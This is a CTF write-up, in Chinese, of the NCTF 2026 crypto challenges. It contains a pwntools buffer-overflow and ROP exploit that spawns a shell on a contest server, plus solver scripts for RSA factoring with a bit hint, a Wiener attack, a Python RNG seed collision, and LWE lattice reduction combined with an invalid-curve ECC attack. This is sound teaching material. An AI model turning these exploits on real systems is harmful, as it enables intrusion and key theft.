NCTF 2026 Writeup

, , , ,

NCTF 2026 Writeup

Before all

中國ㄉ比賽，周末看了下這場好像比較好玩就打了 :/
解了一些題目，把 Crypto 破台了就寫一下 wp，題目蠻標準 XD
新手向歡迎學員參考(?

Writeup

Encryption

解釋一下為什麼我解個 crypto 要排 ROP Chain，這實在不是一個 Crypto 題
反正就是給了個 Oracle 讓你可以輸入一個最多 64 bytes 的資料，會用一個根據 time(NULL) 產生隨機數生成一把 key 然後加密，再給你加密後的 flag。但問題是沒有給加解密的 lib (libcipher.so)
IDA 反編，蠻明顯的有個 gets 函數吃資料所以可以打 BOF，又有個 Win Function 在別的記憶體段。 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
__int64 __fastcall main(int a1, char **a2, char **a3)
{
  unsigned int v3; // eax
  _BYTE v5[80]; // [rsp+0h] [rbp-520h] BYREF
  int edflag[20]; // [rsp+50h] [rbp-4D0h] BYREF
  _BYTE v7[80]; // [rsp+A0h] [rbp-480h] BYREF
  char dest[80]; // [rsp+F0h] [rbp-430h] BYREF
  char s[64]; // [rsp+140h] [rbp-3E0h] BYREF
  char block[864]; // [rsp+180h] [rbp-3A0h] BYREF
  _BYTE v11[24]; // [rsp+4E0h] [rbp-40h] BYREF
  unsigned __int64 v12; // [rsp+4F8h] [rbp-28h]
  size_t v13; // [rsp+500h] [rbp-20h]
  char *v14; // [rsp+508h] [rbp-18h]
  unsigned __int64 v15; // [rsp+510h] [rbp-10h]
  size_t n; // [rsp+518h] [rbp-8h]

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  v3 = time(0);
  srand(v3);
  sub_401497((__int64)v11, 0x10u);
  init();
  puts(
    "Welcome to the Encrypt Machine\n"
    "----------------\n"
    "You only have one chance to encrypt the plaintext!\n"
    "And I'll give you the ciphertext of flag!");
  puts("Enter plaintext in chars (max 64 chars):");
  gets();
  n = strlen(s);
  v15 = 16 * ((n >> 4) + 1);
  if ( n > 0x40 )
  {
    fwrite("Plaintext too long!\n", 1u, 0x14u, stderr);
    exit(1);
  }
  memcpy(dest, s, n);
  sub_401550((__int64)dest, n);
  encrypt(block, (int)dest);
  printf("Ciphertext (hex): ");
  sub_4014EF((__int64)v7, v15);
  sub_4015BA();
  v14 = ::dest;
  v13 = strlen(::dest);
  v12 = 16 * ((v13 >> 4) + 1);
  memcpy(edflag, v14, v13);
  sub_401550((__int64)edflag, v13);
  encrypt(block, (int)edflag);
  printf("Flag Ciphertext (hex): ");
  sub_4014EF((__int64)v5, v12);
  return 0;
}

exp.py 

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.arch = 'amd64'
win = 0x401436
ret = 0x40101a
r = remote('114.66.24.221', 48350)
offset = 0x3e8
payload = b"A\x00"
payload += b"\x00" * (offset - len(payload))
payload += p64(ret)
payload += p64(win)
r.sendline(payload)
r.interactive()

Get Shell 後就是把 libcrypto.so 用 base64 拉下來看，裡面就有 decrypt 函數可以解密了，連上去小範圍暴搜一下 time 正負範圍內，解出來是對的就有 key 可以解 flag 了。
所以這題根本是 PWN 

1
2
3
4
5
6
7
8
9
10
11
[0x000010a0]> afl
0x00001080    1     10 sym.imp.__stack_chk_fail
0x000010a0    4     34 entry0
0x00002369    7    116 sym.decrypt
0x000022f5    7    116 sym.encrypt
0x00001311   11    398 sym.init
0x00001b8e   72   1895 sym.decrypt_block
0x0000149f   72   1775 sym.encrypt_block
0x00001150    5     60 entry.init0
0x00001110    5     54 entry.fini0
0x00001060    1     10 fcn.00001060

Ez_RSA

RSA 給你 c, e, N 還有 p xor q
等於說我們知道 p, q 在二進位下每一位相加的結果，我們又有 N 那就是對二進制乘法做 DFS
稍微解釋一下：
譬如說我們二分搜深度是 8 的時候，我們慢慢可以釐清出來前幾位 (譬如說4位) 一定要是多少才能滿足前幾位是 N 的前幾位，其實在十進位裡面是一樣的東西。
exp.py 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
from Crypto.Util.number import *

# Given values
nbits = 512
n = 113811568965055236591575124486758679392744553312134148909105203346767338399571149835776281246434662598568061596388663253038256689345299177200416663539845688277447346395189677568405388952270634599590543939397457325519084988358577805564978282375882831765408646889940777372958745826393653515323881370943911243589
e = 65537
c = 28637971616659975415203771281328378878549288421921080859079174552593926682380791394169267513651195690175911968893108214839850128311436983081661719981958725955998997347063633351893769712863719014753154993940174947685060864532241899917269380408066913133029163844049218414849768354727966161277243216291473824377
hint = 157624334507300300837306007943988438905196981213124202656160912356046979618961372023595598201180149465610337965346427263713514476892241848899142885213492

# hint = p ^ qr where qr is q bit-reversed
# p = sum(p_i 2^i)
# q = sum(q_i 2^i)
# qr = sum(q_i 2^(511-i))
# hint_i = p_i ^ q_{511-i}

def get_bit(val, i):
    return (val >> i) & 1

# DFS state: current bit k (from 0 up to 255)
# p_bits: list of bits of p, index 0 to 511
# q_bits: list of bits of q, index 0 to 511

p_bits = [None] * nbits
q_bits = [None] * nbits

# Initial bits for primes
p_bits[0] = 1
q_bits[0] = 1
p_bits[511] = 1
q_bits[511] = 1

# Check hint consistency for bits 0 and 511
# hint_0 = p_0 ^ q_511 = 1 ^ 1 = 0
# hint_511 = p_511 ^ q_0 = 1 ^ 1 = 0
if get_bit(hint, 0) != 0 or get_bit(hint, 511) != 0:
    print("Warning: Hint bits 0 or 511 are not 0 as expected for odd primes.")

def solve(k):
    if k == 256:
        # All bits should be determined now
        p = int(''.join(map(str, p_bits[::-1])), 2)
        q = int(''.join(map(str, q_bits[::-1])), 2)
        if p * q == n:
            return p, q
        return None

    # Determine possible (p_k, q_k) such that (p * q) % 2^(k+1) == n % 2^(k+1)
    # Let p_low_k = p % 2^k, q_low_k = q % 2^k
    # (p_low_k + p_k 2^k) * (q_low_k + q_k 2^k) = n % 2^(k+1)
    # p_low_k * q_low_k + (p_k * q_low_k + q_k * p_low_k) 2^k = n % 2^(k+1)
    # Since q_low_k % 2 = 1 and p_low_k % 2 = 1:
    # (p_low_k * q_low_k // 2^k + p_k + q_k) % 2 = (n // 2^k) % 2
    
    p_low_prev = int(''.join(map(str, p_bits[k-1::-1] if k > 0 else ['0'])), 2)
    q_low_prev = int(''.join(map(str, q_bits[k-1::-1] if k > 0 else ['0'])), 2)
    
    target_bit = get_bit(n, k)
    current_val = (p_low_prev * q_low_prev) >> k
    needed = (target_bit - current_val) % 2
    # p_k + q_k = needed (mod 2)
    
    for pk in [0, 1]:
        qk = needed ^ pk
        
        # Now we have p_k and q_k
        # Use hint to get p_{511-k} and q_{511-k}
        # hint_k = p_k ^ q_{511-k} => q_{511-k} = hint_k ^ p_k
        # hint_{511-k} = p_{511-k} ^ q_k => p_{511-k} = hint_{511-k} ^ q_k
        
        q_high_k = get_bit(hint, k) ^ pk
        p_high_k = get_bit(hint, 511-k) ^ qk
        
        # Consistency checks
        if k == 511 - k:
            if pk != p_high_k or qk != q_high_k:
                continue
        
        # Save old values to restore
        old_pk = p_bits[k]
        old_qk = q_bits[k]
        old_phk = p_bits[511-k]
        old_qhk = q_bits[511-k]
        
        # Check if already set (e.g. if k reached the middle)
        if (p_bits[k] is not None and p_bits[k] != pk) or \
           (q_bits[k] is not None and q_bits[k] != qk) or \
           (p_bits[511-k] is not None and p_bits[511-k] != p_high_k) or \
           (q_bits[511-k] is not None and q_bits[511-k] != q_high_k):
            continue
            
        p_bits[k], q_bits[k] = pk, qk
        p_bits[511-k], q_bits[511-k] = p_high_k, q_high_k
        
        # Pruning with MSB bounds
        # We know some bits at the ends.
        # p = p_high_sum + p_mid + p_low_sum
        p_low_sum = int(''.join(map(str, [p_bits[i] if p_bits[i] is not None else 0 for i in range(k+1)][::-1])), 2)
        q_low_sum = int(''.join(map(str, [q_bits[i] if q_bits[i] is not None else 0 for i in range(k+1)][::-1])), 2)
        p_high_sum = int(''.join(map(str, [p_bits[i] if p_bits[i] is not None else 0 for i in range(511-k, 512)][::-1])), 2) << (511-k)
        q_high_sum = int(''.join(map(str, [q_bits[i] if q_bits[i] is not None else 0 for i in range(511-k, 512)][::-1])), 2) << (511-k)
        
        p_min = p_high_sum + p_low_sum
        q_min = q_high_sum + q_low_sum
        
        # Max unknown part is bits k+1 to 511-k-1
        if 511-k-1 >= k+1:
            max_mid = (1 << (511-k)) - (1 << (k+1))
        else:
            max_mid = 0
            
        p_max = p_min + max_mid
        q_max = q_min + max_mid
        
        if p_min * q_min <= n <= p_max * q_max:
            res = solve(k + 1)
            if res:
                return res
        
        # Restore
        p_bits[k], q_bits[k] = old_pk, old_qk
        p_bits[511-k], q_bits[511-k] = old_phk, old_qhk
        
    return None

print("Starting DFS...")
result = solve(1) # Start from bit 1 as bit 0 is fixed
if result:
    p, q = result
    print(f"Found p: {p}")
    print(f"Found q: {q}")
    phi = (p - 1) * (q - 1)
    d = pow(e, -1, phi)
    m = pow(c, d, n)
    print(f"Flag: {long_to_bytes(m)}")
else:
    print("No solution found.")

Hard_RSA

改取了一個 $\phi$ 值是 $(p^6-1)\times(q^6-1)$，生成 d 後再拿 d 對這個 $\phi$ 做 inverse 取 e

chal.py 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Util.number import getPrime, bytes_to_long
from secrets import flag

nbits = 512

p = getPrime(nbits)
q = getPrime(nbits)
N = p * q

phi = (p ** 6 - 1) * (q ** 6 - 1)
d = getPrime(int(nbits * 2))
e = pow(d, -1, phi)
m = bytes_to_long(flag)
c = pow(m, e, N)

print(f"{N=}")
print(f"{e=}")
print(f"{c=}")

注意到這個 $\phi$ 值就是 $\phi(N^6)$，而在 Wiener’s Attack 裡面我們關心的是 $d<N^\delta$ 我們知道這是 $\phi(N^6)$ 所以就對 $N^6$ 和已知的 e 一樣做 Wiener’s Attack 連分數可以收斂回去拿到 d 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import long_to_bytes

N = 74919314162966623026780409394635730851359423962042152804673359696062303592948792225237959325724332015193893411896458285500680923291830113157053732353835717437056282529643649606999636042375356170625223068407005600597432512115745426297620503763041544738664221739366981075762409535100379250338620618401995088237
e = 115382440363851496163981840486384107492561192043935907058980266086827528886481753709205601977721854806609873255930935032352098823336758578514742052017664624320880734668505025950239731519576865823805968986213809315084654931730883582863309373723686304734918644860412520769285969343584540789781409990492019944165824625815300405767426485317259941101998781323411466463777306753584000597164370440130463322472428512359842079912370327303953535847288486792265729271519703439492772330110292227648936855652822622441290491046329984519666372475460813076592933292830035116887451745183745100906127431677048635228709073140092528296564430074027966676751247853438866388663691773416941464827914578065911403270794793189044046310361812370155771970529353757475322332721624146410615784452731493876192295337760243245754571266092484216808152656042093317366135329225792879900416688516879481855055555090043162672499662746617097324126665279154039087354142631899072583591875973448566342261418757933958097491430624847778317939143939884707606327061346526895306935081814341167557148974540052519764420837504151687245003054945691565644413351468736320044794906326974209391387438080503466412668871800294636642414652459851564340761041186735760949703483158497968185223108721790483665796212381899768853381692611758739543856321631250649771030357257110672427660801480674245151183281118006855095936338551269908982677103650278164957043853181158383261830382128373562401278765223263898827117486913915002789859131458355569155109058470780395630260922250802643984468511286231457608106175597829905176417125226959444682393922189933288709798973807586352487516329712976257944503755516552005154708122299515447476835290766731627959030431596313710392337334874777621376729257439721939577794752381362801045781355354034613981044768946879601448500750228731652608416508751483139575431367276816127751324213761
c = 46597101834449995414927716136287390792937263485498695607622613274985303919148099277379370499625616739447192289360957892792459785981292432370520768029645163669042553465834050214430965629198749117682681268121937191602353019996971164117733452207322953311422907574742284390173017434719506924876701654539254320355

# Wiener's attack
cf = (e / (N^6)).continued_fraction()
convergents = cf.convergents()

print(f"Total convergents: {len(convergents)}")

for frac in convergents:
    k = frac.numerator()
    d = frac.denominator()
    if k == 0:
        continue
    
    m = pow(c, int(d), N)
    flag = long_to_bytes(int(m))
    if b'nctf{' in flag or b'flag{' in flag or b'NCTF{' in flag:
        print(f"Found flag: {flag.decode()}")
        break

RNG GAME

黑箱題，反正就是告訴我 seed，然後我要輸入一個 seed 值使得兩邊產生的隨機數一樣
就是我在今年 THJCC 出的梗，Python 裡面 srand 會對數字取絕對值所以輸入 -seed 就好

RNG GAME revenge

喔這次會檢查負數了，seed 大小 128 bits
針對 Cpython 這段 init_by_array
https://github.com/python/cpython/blob/a95ee3a21d97afdbe6bd2ce4cd8343a36cd13b02/Modules/_randommodule.c#L220
總之，initial state 大概可以化剪成這樣：
其中 key 就是 32bits 一組
$mt[i] = (mt[i] \oplus (\dots)) + key[j] + j$
阿如果 key 長度不夠就是循環

新偽造的 $key’$ 產生的值要滿足：
$key’[j’] + j’ = key[j] + j, \space j’= n + j$
其中 n 是原本的 key 長度
啊所以新的 $key’[j’]$ 在 index n 以後開始變成要 $key[j]-n$ 才能抵銷回去(循環 n 次以後 state 就一樣了) 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

def solve():
    io = remote('114.66.24.221', 38498)
    
    io.recvuntil(b'Here is my seed: ')
    seed_str = io.recvline().strip().decode()
    print(f"[*] Received seed: {seed_str}")
    s = int(seed_str)
    words = []
    temp = s
    while temp:
        words.append(temp & 0xffffffff)
        temp >>= 32
    if not words:
        words = [0]
    
    n = len(words)
    new_words = words + [(w - n) % (2**32) for w in words]
    
    s2 = 0
    for i, w in enumerate(new_words):
        s2 += w << (32 * i)
    io.sendline(str(s2).encode())
    response = io.recvall(timeout=5).decode()
    print(response)
    
if __name__ == "__main__":
    solve()

yqs

主辦方說知道大家都用 ai 解題就用 ai 出題了 :/
給你一個最多能用一百次的 lwe oracle + 一個 Short Weierstrass Form ECC Adder
lwe 每次 A 都不一樣，s 則是固定 secret vector 方法是你輸入的訊息做 $<A, s> + msg + e$ 其中 e 的範圍是 0~3 而 msg 你每次輸入什麼自己會知道，A 是向量，對…根本不標準 lwe。
Notation: $<A, s>$ 是內積

ECC Adder 則是把剛剛的 secret vector 轉成整數，你輸入的 x, y 座標跟他做 XOR 後直接丟進 ECC 加法那個公式，他加的次數是真正要求的 secret key，要解開它。

題目程式碼有點長就不放了，反正因為我們知道 e (error vector) 過小，sample 又有很多組且對於不同輸入量 A, 想解的 s 都是固定的，換言之就是建立一個 A 矩陣我們會有向量 s 會產出一個小解。 LLL 就可以弄到每次的 error 向量，再抓一次的還原 s 對答案即可。

後面就是 Short Weierstrass Form 公式注意到其實從頭到尾都只跟 a (x 的一次項)參數相關，盡管原本應該存在的曲線 order 不 smooth，但我們可以創造不存在那條曲線上的點，而去挑選其實 order 有 smooth factor 的參數 b，再抓 $y^2 = x^3 + ax + b$ 曲線上的點讓它做 ECC 乘法，多做幾次下來 crt 就拿到 secret key 了。 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
from sage.all import *
from pwn import *
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import os

# Context
p = 2**255 - 19
a = 486662
N = 77
ebits = 2

def pack_point(P):
    x, y = P
    return (int(x) << 256) | int(y)

def unpack_point(n):
    x = n >> 256
    y = n & ((1 << 256) - 1)
    return (x, y)

def vec_to_int(v, q):
    result = 0
    for i in range(len(v)):
        result += int(v[i]) * (q ** i)
    return result

def int_to_vec(n, q):
    coeffs = []
    for i in range(N):
        coeffs.append(n % q)
        n //= q
    return coeffs

def solve_lwe(samples, q):
    m = 90
    samples = samples[:m]
    A = []
    B_prime = []
    for a_int, b, m_encoded in samples:
        a_vec = int_to_vec(a_int, q)
        A.append(a_vec)
        B_prime.append((b - m_encoded) % q)
    
    T = 1
    mat = matrix(ZZ, m + N + 1, m + 1)
    for i in range(m):
        mat[i, i] = q
    for i in range(N):
        for j in range(m):
            mat[m + i, j] = A[j][i]
    for j in range(m):
        mat[m + N, j] = B_prime[j]
    mat[m + N, m] = T
    
    res = mat.LLL()
    for row in res:
        if abs(row[-1]) == T:
            sign = 1 if row[-1] == T else -1
            e = [(sign * row[i]) % q for i in range(m)]
            e_small = []
            for val in e:
                if val <= 5: e_small.append(val)
                elif val >= q - 5: e_small.append(val - q)
                else: break
            if len(e_small) == m and all(0 <= val <= 3 for val in e_small):
                AM = matrix(GF(q), A)
                BM = vector(GF(q), [(B_prime[i] - e_small[i]) % q for i in range(m)])
                s = AM.solve_right(BM)
                return s
    return None

def get_samples(io, ebits):
    io.recvuntil(b"modulus for today: ")
    q = int(io.recvline().strip())
    samples = []
    for i in range(100):
        io.recvuntil(b"exchange):")
        io.sendline(b"m")
        io.recvuntil(b"(int):")
        msg = i
        io.sendline(str(msg).encode())
        m_hash = int(hashlib.sha512(str(msg).encode()).hexdigest(), 16)
        m_trunc = m_hash & ((1 << 128) - 1)
        m_encoded = (m_trunc & 0xFF) << ebits
        io.recvuntil(b"echoes: ")
        ct = eval(io.recvline().strip())
        samples.append((ct[0], ct[1], m_encoded))
    return q, samples

def solve():
    io = remote('114.66.24.221', 45652)
    io.recvuntil(b"Seal: ")
    master_pub_int = int(io.recvline().strip())
    master_pub = unpack_point(master_pub_int)
    io.recvuntil(b"Cipher: ")
    enc_flag = bytes.fromhex(io.recvline().strip().decode())
    
    q, samples = get_samples(io, ebits)
    s = solve_lwe(samples, q)
    priv = vec_to_int(s, q)
    
    moduli = []
    remainders = []
    total_bits = 0
    b_val = 1
    while total_bits < 245:
        print(f"Searching for factors in curve b={b_val}...")
        E = EllipticCurve(GF(p), [a, b_val])
        order = E.order()
        f = factor(order, limit=10**7)
        
        # Prefer factors between 20 and 50 bits to minimize rounds
        factors_to_use = [prime for prime, exp in f if 20 < prime.nbits() < 50]
        
        for prime in factors_to_use:
            while True:
                R = E.random_point()
                P = (order // prime) * R
                if P: break
            
            print(f"Using factor {prime} ({prime.nbits()} bits)")
            io.recvuntil(b"exchange):")
            io.sendline(b"e")
            io.recvuntil(b"(int):")
            P_x, P_y = int(P[0]), int(P[1])
            priv_low = int(priv) & ((1 << 256) - 1)
            priv_high = (int(priv) >> 256) << 256
            send_x = ((P_x - priv_high) % p) ^ priv_low
            send_y = ((P_y - priv_high) % p) ^ priv_low
            io.sendline(str(pack_point((send_x, send_y))).encode())
            
            io.recvuntil(b"resonance: ")
            res_int = int(io.recvline().strip())
            if res_int == 0:
                d = 0
            else:
                Q_raw = unpack_point(res_int)
                Q = E(Q_raw)
                d = discrete_log(Q, P, operation='+')
            
            moduli.append(int(prime))
            remainders.append(int(d))
            total_bits += prime.nbits()
            print(f"Total bits: {total_bits}/245")
            
            if total_bits >= 245: break
            
            q, samples = get_samples(io, ebits)
            s = solve_lwe(samples, q)
            priv = vec_to_int(s, q)
        
        b_val += 1

    master_sec = crt(remainders, moduli)
    print(f"Recovered master_sec: {master_sec}")
    aes_key = hashlib.sha256(str(master_sec).encode()).digest()
    cipher = AES.new(aes_key, AES.MODE_ECB)
    flag = unpad(cipher.decrypt(enc_flag), 32)
    print(f"FLAG: {flag.decode()}")

if __name__ == "__main__":
    solve()